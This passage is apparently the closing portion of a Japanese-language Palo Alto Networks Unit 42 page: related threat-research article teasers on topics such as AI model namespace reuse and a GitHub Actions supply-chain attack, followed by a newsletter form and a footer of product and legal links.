arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/cloud-based-gift-card-fraud-campaign/ "Jingle Thief: クラウドベースのギフトカード詐欺キャンペーンの実態") ![Pictorial representation of model namespace reuse. A vibrant digital illustration featuring a glowing cloud icon with a padlock, symbolizing cloud security technology, set against a backdrop of glowing circuit lines in blue and orange.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/05_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年9月3日 [#### モデル名前空間の再利用テクニック: AIサプライチェーンの基本的側面を誤用する](https://unit42.paloaltonetworks.com/ja/model-namespace-reuse/) * [Azure](https://unit42.paloaltonetworks.com/ja/tag/azure-ja/ "Azure") * [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI") * [Google](https://unit42.paloaltonetworks.com/ja/tag/google-ja/ "Google") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/model-namespace-reuse/ "モデル名前空間の再利用テクニック: AIサプライチェーンの基本的側面を誤用する") ![Pictorial representation of serverless tokens in the cloud. East Asian woman examining data on multiple screens in a high-tech environment, surrounded by digital graphics and code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/06/07_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年6月13日 [#### クラウドにおけるサーバーレス トークン: エクスプロイト攻撃と検出](https://unit42.paloaltonetworks.com/ja/serverless-authentication-cloud/) * [AWS](https://unit42.paloaltonetworks.com/ja/tag/aws-ja/ "AWS") * [Google Cloud](https://unit42.paloaltonetworks.com/ja/tag/google-cloud-ja/ "Google Cloud") * [Microsoft Azure](https://unit42.paloaltonetworks.com/ja/tag/microsoft-azure-ja/ "Microsoft Azure") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/serverless-authentication-cloud/ "クラウドにおけるサーバーレス トークン: エクスプロイト攻撃と検出") ![Pictorial representation of ELF-based malware like NoodleRAT, Winnti, SSHdInjector, Pygmy Goat and AcidPour. Vibrant futuristic cityscape with glowing neon lines, clouds, and a dramatic sky at twilight.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/06/02_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年6月10日 [#### クラウド運用におけるLinuxバイナリの進化](https://unit42.paloaltonetworks.com/ja/elf-based-malware-targets-cloud/) * [Endpoint](https://unit42.paloaltonetworks.com/ja/tag/endpoint-ja/ "endpoint") * [Linux Malware](https://unit42.paloaltonetworks.com/ja/tag/linux-malware-ja/ "Linux Malware") * [Machine Learning](https://unit42.paloaltonetworks.com/ja/tag/machine-learning-ja/ "Machine Learning") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/elf-based-malware-targets-cloud/ "クラウド運用におけるLinuxバイナリの進化") ![Pictorial representation of AWS Roles Anywhere. Futuristic cityscape with glowing orange and blue structures, elevated clouds, and illuminated, scattered points representing lights or data points.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/06/01_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年6月9日 [#### AWS IAM Roles Anywhereの危険性に迫る。](https://unit42.paloaltonetworks.com/ja/aws-roles-anywhere/) * [AWS](https://unit42.paloaltonetworks.com/ja/tag/aws-ja/ "AWS") * [Kubernetes](https://unit42.paloaltonetworks.com/ja/tag/kubernetes-ja/ "Kubernetes") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/aws-roles-anywhere/ "AWS IAM Roles Anywhereの危険性に迫る。") ![Digital illustration of a glowing blue brain floating above a network of interconnected golden lines and points, symbolizing neural connections and artificial intelligence on a dark background with blue highlights.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/12_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2025年5月21日 [#### GitHub Actionsサプライチェーン攻撃: Coinbaseへの標的型攻撃が拡大し、tj-actions/changed-files事件が多発: 脅威評価（4/2更新）](https://unit42.paloaltonetworks.com/ja/github-actions-supply-chain-attack/) * [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub") * [Supply chain](https://unit42.paloaltonetworks.com/ja/tag/supply-chain-ja/ "supply chain") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/github-actions-supply-chain-attack/ "GitHub Actionsサプライチェーン攻撃: Coinbaseへの標的型攻撃が拡大し、tj-actions/changed-files事件が多発: 脅威評価（4/2更新）") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得 ## 進化する脅威の状況を常に先取り メール アドレス 本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。 本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。 Invalid captcha! サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} 製品とサービス * [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security) * [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design) * [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security) * [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security) * [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security) * [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall) * [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations) * [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.jp/network-security/panorama) * [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase) * [Prisma SASE](https://www.paloaltonetworks.jp/sase) * [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration) * [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.jp/sase/access) * [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan) * [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex) * [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud) * [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud) * [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse) * [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response) * [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam) * [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira) * [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management) * [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager) * [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance) * [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management) * [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic) * [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management) * [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance) * [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery) * [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access) * [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42) * [予防評価](https://www.paloaltonetworks.jp/unit42/assess) * [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond) * [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform) * [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners) 会社名 * [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us) * [採用情報](https://jobs.paloaltonetworks.com/en/) * [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales) * [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [お客様向け](https://www.paloaltonetworks.jp/customers) * [IR](https://investors.paloaltonetworks.com/) * [拠点](https://www.paloaltonetworks.com/about-us/locations) * [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom) 人気のあるリンク * [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja) * [コミュニティ](https://www.paloaltonetworks.com/communities) * [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources) * [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia) * [イベントセンター](https://events.paloaltonetworks.com/) * [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center) * [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z) * [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance) * [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure) * [サイトマップ](https://www.paloaltonetworks.jp/sitemap) * [テクニカル ドキュメント](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.jp/) * [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy) * [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center) * [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use) * [ドキュメント](https://www.paloaltonetworks.jp/legal-notices) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/) * JP Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)